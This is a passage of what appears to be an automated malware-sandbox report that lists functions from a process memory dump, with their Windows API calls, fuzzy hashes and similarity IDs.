Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Heapwcschr$AllocDuplicateHandleProcess_close_dup_dup2_get_osfhandle_pipe_wcsicmplongjmpmemset
String ID:
API String ID: 1441200171-0
Opcode ID: 32b886d86a5e29ff9ab98620a7d02bbebc6bac43942ad6df7c7c2e21b82deed2
Instruction ID: 00e9adf9f3a38f56e00353e451bedb0b0f4e039efce4ec79608864386ab56857
Opcode Fuzzy Hash: 32b886d86a5e29ff9ab98620a7d02bbebc6bac43942ad6df7c7c2e21b82deed2
Instruction Fuzzy Hash: 4B5180346047019BD724EF29D856B2673E1FF85324B15CA2EF4AEC76E5DB30D8018B55

Uniqueness

Uniqueness Score: -1.00%

Function 008802B0, Relevance: 6.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

iswdigit.MSVCRT ref: 00880301
iswdigit.MSVCRT ref: 00880360
iswdigit.MSVCRT ref: 0088044A

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: iswdigit
String ID:
API String ID: 3849470556-0
Opcode ID: ebbdcbe108e20ecf05186258bfd0910e6dd3872e95b10af4c697c5607590fa4a
Instruction ID: 28afd7617c7b381b42953af8441c62b28bbc49f3fc5fb56c775f972cf6bae0ff
Opcode Fuzzy Hash: ebbdcbe108e20ecf05186258bfd0910e6dd3872e95b10af4c697c5607590fa4a
Instruction Fuzzy Hash: 1D51E2709012149FDB54EFA9C88127EB7A1FF84304F2481AAD906D7352EB31DD49DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00882D22, Relevance: 6.1, APIs: 4, Instructions: 119COMMON

Download Yara Rule

APIs

SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,00000000,?,00000000,00000000,?,?,?,00883C29,?,00000000,-00000001,00000000,?,00000000), ref: 00882D87
SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000001,?,00883C29,?,00000000,-00000001,00000000,?,00000000), ref: 00882D91
GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,-00000001,?,00000000,?,00883C29,?,00000000,-00000001,00000000,?,00000000), ref: 00882DA4
SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,00883C29,?,00000000,-00000001,00000000,?,00000000), ref: 00882DAE

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorMode$FullNamePath
String ID:
API String ID: 268959451-0
Opcode ID: 75d9a7e46384f5156de6c4ded8b8ac0d55d5cb6aaad48d8bafbb1969c3b9ed3c
Instruction ID: 9f3bdf2dd2595041fc280f74ab649bb0b70e21db690fd25301c94ae964d61f87
Opcode Fuzzy Hash: 75d9a7e46384f5156de6c4ded8b8ac0d55d5cb6aaad48d8bafbb1969c3b9ed3c
Instruction Fuzzy Hash: BC414B39100205ABCB28FF68CC559BEB7B9FF887047548A1DE946C7390E771AE46C790

Uniqueness

Uniqueness Score: -1.00%

Function 0087EEF0, Relevance: 6.1, APIs: 4, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00000000,00000000,00000000,?,0087E5F6,?,00000000,00000000,00000000), ref: 0087EF39
RtlFreeHeap.NTDLL(00000000,?,0087E5F6), ref: 0087EF40
_setjmp3.MSVCRT ref: 0087EFA5
VirtualFree.API-MS-WIN-CORE-MEMORY-L1-1-0(00000000,00000000,00008000,00000000,00000000,00000000,?,0087E5F6,?,00000000,00000000,00000000), ref: 0087F00D

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: FreeHeap$ProcessVirtual_setjmp3
String ID:
API String ID: 2613391085-0
Opcode ID: 31deea782b41373bf94b133896285b4e9f2e2fe82e927db104c78381c06c7ca5
Instruction ID: 0d0308f6805c14adc4aff7615d9ae4f516444115b371f5b3eb20fa896791ad0c
Opcode Fuzzy Hash: 31deea782b41373bf94b133896285b4e9f2e2fe82e927db104c78381c06c7ca5
Instruction Fuzzy Hash: 0F31E0717007109BE720AF6DAC497267BE8FB4A704F1981BAF90DC7A66DB74D840CB45

Uniqueness

Uniqueness Score: -1.00%

Function 0089579A, Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 008800B0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,0087DF68,00000001,?,00000000,00883458,-00000105,0089BDD8,00000240,00884B82,00000000,00000000,0088AE6E,00000000), ref: 008800C1
Part of subcall function 008800B0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,0087DF68,00000001,?,00000000,00883458,-00000105,0089BDD8,00000240,00884B82,00000000,00000000,0088AE6E,00000000,?), ref: 008800C8

longjmp.MSVCRT(008AB8B8,00000001,?,?,00883A4E,?,?,?,?,?,?,?,?), ref: 008957DE
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0(?,00000000,00000000,000000FF,00000000,00000000,?,?,00883A4E), ref: 0089581D
SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000001,?,00000000,00000000,000000FF,00000000,00000000,?,?,00883A4E), ref: 00895825
SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,00000000,00000000,000000FF,00000000,00000000,?,?,00883A4E), ref: 00895867

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorHeapMode$AllocByteCharMultiProcessWidelongjmp
String ID:
API String ID: 162963024-0
Opcode ID: 336516bfcd1632d02f87a82fb57f73b643c595d8aacd9b0a6e8ca874b4fe6601
Instruction ID: 40738eddb4bbd4be04f667e92ed9bff15d9073054d51067695691b502d15c092
Opcode Fuzzy Hash: 336516bfcd1632d02f87a82fb57f73b643c595d8aacd9b0a6e8ca874b4fe6601
Instruction Fuzzy Hash: 50212635600A01ABDB21BBB88C559BF775AFFC071071D0228FD06E7291EE358E0687A1

Uniqueness

Uniqueness Score: -1.00%

Function 008929B9, Relevance: 6.1, APIs: 4, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,00000000,?,?,?,?,?,?,?,?,?,?,00891C4B), ref: 00892A34
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,00891C4B), ref: 00892A3B
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000,?,?,?,?,?,?,?,?,?,?,00891C4B), ref: 00892A4D
RtlFreeHeap.NTDLL(00000000), ref: 00892A54

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: ea5e79a7e98f4f831e639dbdd6b8f2b68edb22e10f1a18629e88fccdde116b1c
Instruction ID: 2ae8718c98942e0b9cec8200dc5da81f20e491a5f50a5a0815d9f696b4a2041d
Opcode Fuzzy Hash: ea5e79a7e98f4f831e639dbdd6b8f2b68edb22e10f1a18629e88fccdde116b1c
Instruction Fuzzy Hash: 13310575A00604AFCF25EF69D88495ABBF5FF48310B048A6AED8AD7711EB30E901CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00884E94, Relevance: 6.1, APIs: 4, Instructions: 77COMMON

Download Yara Rule

APIs

Part of subcall function 008800B0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,0087DF68,00000001,?,00000000,00883458,-00000105,0089BDD8,00000240,00884B82,00000000,00000000,0088AE6E,00000000), ref: 008800C1
Part of subcall function 008800B0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,0087DF68,00000001,?,00000000,00883458,-00000105,0089BDD8,00000240,00884B82,00000000,00000000,0088AE6E,00000000,?), ref: 008800C8

GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,?,?,00882F2C,-00000001,-00000001,-00000001,-00000001), ref: 00884ED6
longjmp.MSVCRT(008AB8B8,00000001,?,00000104,00000000,?,?,00882F2C,-00000001,-00000001,-00000001,-00000001), ref: 0088F016
_get_osfhandle.MSVCRT ref: 0088F01E
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,?,?,00882F2C,-00000001,-00000001,-00000001,-00000001), ref: 0088F02C

Part of subcall function 00880178: _get_osfhandle.MSVCRT ref: 00880183
Part of subcall function 00880178: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000,0088D6A1), ref: 0088018D

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: BufferConsoleHeapInfoScreen_get_osfhandle$AllocFileProcessTypelongjmp
String ID:
API String ID: 1629431960-0
Opcode ID: 1f89499b08b8c4bf0230fdd7c06af2291ee8fb972ea140bd3e0e97eb81f43deb
Instruction ID: f41555fdc0d744bf725b19bcdb9a5749a74ceade2e392c541e89953ececc5db9
Opcode Fuzzy Hash: 1f89499b08b8c4bf0230fdd7c06af2291ee8fb972ea140bd3e0e97eb81f43deb
Instruction Fuzzy Hash: 1A21BE72A007069FE720BF79E845B6AB7E8FF54725F14092EE986C2242EB75D8018B51

Uniqueness

Uniqueness Score: -1.00%

Function 0087AEB0, Relevance: 6.1, APIs: 4, Instructions: 77stringCOMMON

Download Yara Rule

APIs

wcstol.MSVCRT ref: 0087AEC7
wcstol.MSVCRT ref: 0087AED7
lstrcmpW.API-MS-WIN-CORE-STRING-OBSOLETE-L1-1-0(?,?), ref: 0087AF51
lstrcmpiW.API-MS-WIN-CORE-STRING-OBSOLETE-L1-1-0(?,?), ref: 0087AF5B

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: wcstol$lstrcmplstrcmpi
String ID:
API String ID: 4273384694-0
Opcode ID: c80f13a2d5e09f2099ad6b1ee11fb2d8dc6f73f4467626e9ebd62c6f239756da
Instruction ID: 0d1886481f8f696a69a4283905af583126b8a9bd2d97523796b5b07117f9d8f3
Opcode Fuzzy Hash: c80f13a2d5e09f2099ad6b1ee11fb2d8dc6f73f4467626e9ebd62c6f239756da
Instruction Fuzzy Hash: 251129B290052ABF876D5FB8DA0887E7B68FF803547118350ED09D7A98DF22DD60D6D2

Uniqueness

Uniqueness Score: -1.00%

Function 0089997C, Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 008999B8

Part of subcall function 00880C70: ??_V@YAXPAX@Z.MSVCRT ref: 00880CBA
Part of subcall function 00880C70: memset.MSVCRT ref: 00880CDD

GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(004D0043,-00000209,00000000,00000000,-00000209,?,00872178,00310030), ref: 008999FC
GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,00872178,00310030), ref: 00899A2E
??_V@YAXPAX@Z.MSVCRT ref: 00899A3E

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: memset$DriveFullNamePathType
String ID:
API String ID: 3442494845-0
Opcode ID: c0cb426de0cc2ba48491e5ef3e1b8f767c7c86cc848808ed18205de2aa431386
Instruction ID: 612629d1bf938cddb76c4e06e95adb46fa38e997556b12e418150da24fafff10
Opcode Fuzzy Hash: c0cb426de0cc2ba48491e5ef3e1b8f767c7c86cc848808ed18205de2aa431386
Instruction Fuzzy Hash: 28213271A00119ABDF10EFE9EC85BBEB7F8FB04304F0801A9E545E2141E634DE458B91

Uniqueness

Uniqueness Score: -1.00%

Function 00895662, Relevance: 6.1, APIs: 4, Instructions: 75registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,00000000,00000001,?,0089C100,0000001C,00894C85), ref: 00895695
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,00000000,00000000,?,00000000,?,0089C100,0000001C,00894C85), ref: 008956B0
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,00000000,00000000,?,00000000,?), ref: 008956EF
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000), ref: 0089570C

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: QueryValue$ErrorLastOpen
String ID:
API String ID: 4270309053-0
Opcode ID: 59a4ab2103b46125a1a1bb96191d20e8c48d2ac50492ea860b8a86a1413092b9
Instruction ID: 22fbeafa47bcb18fa0b638378c8f2f99aa0929d4321a425c6b3c65c01e00e993
Opcode Fuzzy Hash: 59a4ab2103b46125a1a1bb96191d20e8c48d2ac50492ea860b8a86a1413092b9
Instruction Fuzzy Hash: 782150B1D00619EFDF12AFE98C909EEB7BCFB58740B584125F601F2250D7748D008B65

Uniqueness

Uniqueness Score: -1.00%

Function 008756AE, Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5798db61899cb35963f1e108f389c3f12d7a27a2b15a14d8d851a4c280f79cb8
Instruction ID: 3cf288a121ee7bc2051b2ba4be9924b58eec108b095d7cb800e27c6d7026489a
Opcode Fuzzy Hash: 5798db61899cb35963f1e108f389c3f12d7a27a2b15a14d8d851a4c280f79cb8
Instruction Fuzzy Hash: 2511E231200A04ABDB24BB289C19BBE3768FF55324F188209F855C35E1EB70DD01CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0089B91D, Relevance: 6.1, APIs: 4, Instructions: 68COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0089B953

Part of subcall function 00880C70: ??_V@YAXPAX@Z.MSVCRT ref: 00880CBA
Part of subcall function 00880C70: memset.MSVCRT ref: 00880CDD

GetVolumePathNameW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,00000001,-00000001,00000001,00000000,00000000), ref: 0089B98D
GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 0089B9A5
??_V@YAXPAX@Z.MSVCRT ref: 0089B9B9

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: memset$DriveNamePathTypeVolume
String ID:
API String ID: 1029679093-0
Opcode ID: 6c2b1460ba4e474578238101c34d6a0632def16043e8e8005009abe12b2afd3d
Instruction ID: 4ff6b4d1081a49538cd5d3b2113bb45fdc92a6758001ba5f23c0d8891e58a8b6
Opcode Fuzzy Hash: 6c2b1460ba4e474578238101c34d6a0632def16043e8e8005009abe12b2afd3d
Instruction Fuzzy Hash: 38114231A00119ABDF10EBA9ED85BBFBBB8FB44354F080169E604D3141EB34DE45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0089916C, Relevance: 6.1, APIs: 4, Instructions: 66fileCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00899185
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00898CA9,?,?,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 0089918D
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,?,00000000,00000000), ref: 008991A4
DeleteFileW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,?,?,00000000,00000000), ref: 008991D1

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: File$DeleteErrorLastWrite_get_osfhandle
String ID:
API String ID: 2448200120-0
Opcode ID: 8d8602168928494b9ada1776212b3553b9fdb5b8dbb95e767846aa39d90cc8bb
Instruction ID: 6b9ebd6c637193f5787de8158cb8befe45bf9e82b0c925c04171c8f33566c2f8
Opcode Fuzzy Hash: 8d8602168928494b9ada1776212b3553b9fdb5b8dbb95e767846aa39d90cc8bb
Instruction Fuzzy Hash: 4711C131600215EBDF24BBA9EC89A7E776CFB84721F09411EF945C3191DB749C05CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0087AC30, Relevance: 6.1, APIs: 4, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?), ref: 0087AC8E
RtlFreeHeap.NTDLL(00000000), ref: 0087AC95
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?), ref: 0087ACBE
RtlFreeHeap.NTDLL(00000000), ref: 0087ACC5

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 5bc941fd6fc7a8e87dbb3c2846b2b8e18453603d8b9a51c913caf02b251cd4fa
Instruction ID: e13aae0a238c320211f908430c4a0512df514ee9d16a6f186b7e77de44612a86
Opcode Fuzzy Hash: 5bc941fd6fc7a8e87dbb3c2846b2b8e18453603d8b9a51c913caf02b251cd4fa
Instruction Fuzzy Hash: 2011E631204640ABCB2AAFAC984977E7BA5FFC5314F248548E5CFC7255DB24D802D762

Uniqueness

Uniqueness Score: -1.00%

Function 00885D59, Relevance: 6.1, APIs: 4, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000,00000000), ref: 00885D9D
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000), ref: 00885DA4

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: ebc33af6e4891cab249d3fad0c8ea23448a3c592c77274a8173da9b3d4659668
Instruction ID: 57ab8d7f43e02fb3d9bd009e25630a3a970ecfbfe0d9c8fca0d15743d40dd67b
Opcode Fuzzy Hash: ebc33af6e4891cab249d3fad0c8ea23448a3c592c77274a8173da9b3d4659668
Instruction Fuzzy Hash: A6116B31205D2163CA14BB58585CBBF7755FF84B10B290268EE07EB344DB20EE0797D0

Uniqueness

Uniqueness Score: -1.00%

Function 00880100, Relevance: 6.1, APIs: 4, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000800,00000800,-00000004,-00000004,?,0087EBC3), ref: 00880117
HeapReAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000), ref: 0088011E
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000), ref: 00880133
HeapSize.API-MS-WIN-CORE-HEAP-L1-1-0(00000000), ref: 0088013A

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$Process$AllocSize
String ID:
API String ID: 2549470565-0
Opcode ID: 8fc8a7d51119dcb28f0f7be8a6d6cb82c9ae51cb2baeef5573573da6403b521a
Instruction ID: 2c95cdfe80828b4e742a7372c8d3fe98f32f49555e264c6c2190f0abadb1b7bf
Opcode Fuzzy Hash: 8fc8a7d51119dcb28f0f7be8a6d6cb82c9ae51cb2baeef5573573da6403b521a
Instruction Fuzzy Hash: C701F57A340202EBC761AB55EC8CE9A7B69FB94775F204160F60ACA060DB31DC48DF60

Uniqueness

Uniqueness Score: -1.00%

Function 00897DF1, Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F5,?,?,?,?,?,?,?,?,?,?,0088E18E), ref: 00897E19
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,?,?,?,?,?,?,?,?,?,?,0088E18E), ref: 00897E26
FillConsoleOutputAttribute.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,0088E18E), ref: 00897E4A
SetConsoleTextAttribute.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,00000000,?,?,?,?,?,?,?,?,?,0088E18E), ref: 00897E52

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Console$Attribute$BufferFillHandleInfoOutputScreenText
String ID:
API String ID: 1033415088-0
Opcode ID: 4818043d2d84aafae054709d6e755326a7a64c674f7daf3b0884d9977f46f270
Instruction ID: 61b50f1eced5edf4f8f939197f4b4f7af0f65649cc9b02bd049d5504f31f81e4
Opcode Fuzzy Hash: 4818043d2d84aafae054709d6e755326a7a64c674f7daf3b0884d9977f46f270
Instruction Fuzzy Hash: D9019E72A18119AF8F00BBB49C849FFB7FCFF0D711B040265F906D6140EA249D0287A4

Uniqueness

Uniqueness Score: -1.00%

Function 00886D00, Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 00886D6D
__p__fmode.MSVCRT ref: 00886D83
__p__commode.MSVCRT ref: 00886D91
__setusermatherr.MSVCRT ref: 00886DB2

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: __p__commode__p__fmode__set_app_type__setusermatherr
String ID:
API String ID: 1063105408-0
Opcode ID: 231cf7dc4f243279630628b754a343fa7d9c67ddf8d68145649ba05e0e67eb95
Instruction ID: 7b95bba9dc9517389b155788f499ffd448c20ca185b222a99bc65190f8c52b36
Opcode Fuzzy Hash: 231cf7dc4f243279630628b754a343fa7d9c67ddf8d68145649ba05e0e67eb95
Instruction Fuzzy Hash: 3C115A70704700CEC720BB30A94C22437A1F745325F28466AE569CA2E5EB3BD992DF55

Uniqueness

Uniqueness Score: -1.00%

Function 008743A0, Relevance: 6.0, APIs: 4, Instructions: 47fileCOMMON

Download Yara Rule

APIs

Part of subcall function 008822C0: wcschr.MSVCRT ref: 008822CC

CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,40000000,00000000,0000000C,00000004,08000080,00000000), ref: 008743D5
_open_osfhandle.MSVCRT ref: 008743E9
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(00000000), ref: 00874401
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 0088838D

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: CloseCreateErrorFileHandleLast_open_osfhandlewcschr
String ID:
API String ID: 22757656-0
Opcode ID: f79184c3e338169d66f43330e11c73aba09924fe525fd039d4d066cb5346bd53
Instruction ID: 82f8b8c6da341cebf88aabb3fc91352eaaadc9529f4082d2d0104aed54202d55
Opcode Fuzzy Hash: f79184c3e338169d66f43330e11c73aba09924fe525fd039d4d066cb5346bd53
Instruction Fuzzy Hash: 1701A271901124AAD3246BACAC4DF5EBBA8FB45B35F214319F978E32E0DBB048058791

Uniqueness

Uniqueness Score: -1.00%

Function 00891914, Relevance: 6.0, APIs: 4, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,?,?,?,00891735), ref: 00891932
RtlFreeHeap.NTDLL(00000000,?,?), ref: 00891939
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,?,?,00891735), ref: 00891957
RtlFreeHeap.NTDLL(00000000), ref: 0089195E

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 373c66e1e505422aaa82d1ae865f38a65085a798426461beba743d0360072727
Instruction ID: 68a9a1cfe0ec98a8af305281ddeac696f586b175db7311d6eb5b88308912a6b5
Opcode Fuzzy Hash: 373c66e1e505422aaa82d1ae865f38a65085a798426461beba743d0360072727
Instruction Fuzzy Hash: 8EF06872614202AFDB549FA4DC8CBA5B7F8FF48316F14092DE685C6440E774E455CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00883B2C, Relevance: 6.0, APIs: 4, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,00000004,?,00883DBB), ref: 00883B33
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00883DBB), ref: 00883B3A

Part of subcall function 00883AAE: GetEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(00000000,00000000,00883A9F), ref: 00883AB2
Part of subcall function 00883AAE: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,00000000,00000000), ref: 00883ACD
Part of subcall function 00883AAE: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000), ref: 00883AD4
Part of subcall function 00883AAE: memcpy.MSVCRT ref: 00883AE3
Part of subcall function 00883AAE: FreeEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(00000000), ref: 00883AEC

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000,?,00883DBB), ref: 0088DFEA
RtlFreeHeap.NTDLL(00000000,?,00883DBB), ref: 0088DFF1

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$Process$AllocEnvironmentFreeStrings$memcpy
String ID:
API String ID: 197374240-0
